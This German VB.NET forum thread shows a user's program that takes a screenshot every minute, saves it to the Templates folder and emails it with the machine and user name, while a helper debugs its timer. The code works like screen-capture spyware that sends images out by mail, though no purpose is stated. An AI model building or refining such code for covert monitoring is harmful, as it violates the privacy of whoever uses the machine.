screenshots senden

  • VB.NET

Es gibt 5 Antworten in diesem Thema. Der letzte Beitrag () ist von RodFromGermany.

    screenshots senden

    hi,
    ich hab vb 2010 und versuche gerade, ein programm zu machen, das alle 60s ein screenshot macht und ihn per mail versendet. so weit bin ich bisher:

    VB.NET-Quellcode

    1. Public Class Form1
    2. Dim append As String
    3. Dim zeit As Byte
    4. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    5. Timer1.Start()
    6. zeit = 1
    7. End Sub
    8. Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
    9. Dim bounds As Rectangle
    10. Dim screenshot As System.Drawing.Bitmap
    11. Dim graph As Graphics
    12. bounds = Screen.PrimaryScreen.Bounds
    13. screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppPArgb)
    14. graph = Graphics.FromImage(screenshot)
    15. graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
    16. PictureBox1.ResetText()
    17. PictureBox1.Image = screenshot
    18. PictureBox1.Update()
    19. TextBox1.Clear()
    20. TextBox1.Text = zeit
    21. TextBox1.Update()
    22. Try
    23. System.IO.File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.Templates) & TextBox1.Text + ".jpg")
    24. Catch es As FileNotFoundException
    25. Catch ex As Exception
    26. End Try
    27. Me.PictureBox1.Image.Save(Environment.GetFolderPath(Environment.SpecialFolder.Templates) & TextBox1.Text + ".jpg")
    28. Try
    29. Dim mail As New Net.Mail.MailMessage()
    30. Dim SmtpServer As New Net.Mail.SmtpClient
    31. Dim attachment As New Net.Mail.Attachment(Environment.GetFolderPath(Environment.SpecialFolder.Templates) & TextBox1.Text + ".jpg")
    32. SmtpServer.Credentials = New Net.NetworkCredential("benutzername", "pw")
    33. SmtpServer.Port = 587
    34. SmtpServer.Host = "smtp.web.de"
    35. SmtpServer.EnableSsl = True
    36. mail.To.Add("mailadresse")
    37. mail.From = New Net.Mail.MailAddress("mailadresse")
    38. mail.Subject = System.Environment.MachineName + " " + User
    39. mail.Body = "test"
    40. mail.Attachments.Add(attachment)
    41. SmtpServer.Send(mail)
    42. Catch ex As UnauthorizedAccessException
    43. Catch ex As Exception
    44. End Try
    45. zeit = zeit + 1
    46. End Sub




    Das funktioniert aber nur fast, da es nur am anfang nach jeweils 1 minute ein screenshot verschickt. das macht es immer genau 2 mal und dann läuft es zwar noch, macht aber nichts mehr. woran könnte das liegen und was hab ich falsch gemacht? ?(

    Bitte immer die entsprechenden Code-Tags verwenden.
    Gruss mikeb69

    Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von „mikeb69“ ()

    1. Option Strict = On
    2. zeit = zeit + 1 - Überlauf behandeln

    Ich hab mal das Timer-Interval auf 10 gesetzt und deinen Mail-Code auskommentiert, da läuft der Zähler ordentlich hoch. Falls Du mit der Mail ein Problem hast, solltest Du das separat untersuchen.
    Falls Du diesen Code kopierst, achte auf die C&P-Bremse.
    Jede einzelne Zeile Deines Programms, die Du nicht explizit getestet hast, ist falsch :!:
    Ein guter .NET-Snippetkonverter (der ist verfügbar).
    Programmierfragen über PN / Konversation werden ignoriert!
    das mit der mail sollte eigentlich funktionieren, da er am anfang ja 2 mails sendet. außerdem hab ich den gleichen code für die mail auch noch in nem anderen programm benutzt und da funzt es auch.
    Kann es vielleicht sein, dass es beim mail senden so ne sperre gibt, dass man in 5min nich mehr als 2 mails mit anhang senden oder empfangen darf?
    Kleines Missverständnis.
    Ich hab die EMail-Funktionalität auskommentiert, weil ich sie nicht aufrufen wollte, nicht weil da vielleicht ein Fehler drin ist.
    Ob da einer drin ist, weiß ich nicht, aber wenn Du meinst, dann sollte sie funktionieren. Der Anfang jedenfalls geht so.
    Falls Du diesen Code kopierst, achte auf die C&P-Bremse.
    Jede einzelne Zeile Deines Programms, die Du nicht explizit getestet hast, ist falsch :!:
    Ein guter .NET-Snippetkonverter (der ist verfügbar).
    Programmierfragen über PN / Konversation werden ignoriert!
    hab jetz den timer mal auf 5min gestellt und bin damit zumindest mal einen schritt weiter gekommen. er sendet jetzt zwar jede minute eine mail allerdings ist ab der zweiten mail der screenshot immer der gleiche. woran könnte das liegen?
    Vielleicht fängst Du mit kleinen Brötchen an.
    Nimm Dir ein kleines Bildchen (100 x 100 Pixel), damit das Bildhandling drin ist, aber die Datenmenge überschaubar bleibt.
    Da kannst Du auch mit kürzeren Intervallen arbeiten und Deinen Effekt schneller finden.
    Gibt es eine Möglichkeit, das Mail-Programm abzufragen, ob es bereit für die nächste Mail ist?
    Falls Du diesen Code kopierst, achte auf die C&P-Bremse.
    Jede einzelne Zeile Deines Programms, die Du nicht explizit getestet hast, ist falsch :!:
    Ein guter .NET-Snippetkonverter (der ist verfügbar).
    Programmierfragen über PN / Konversation werden ignoriert!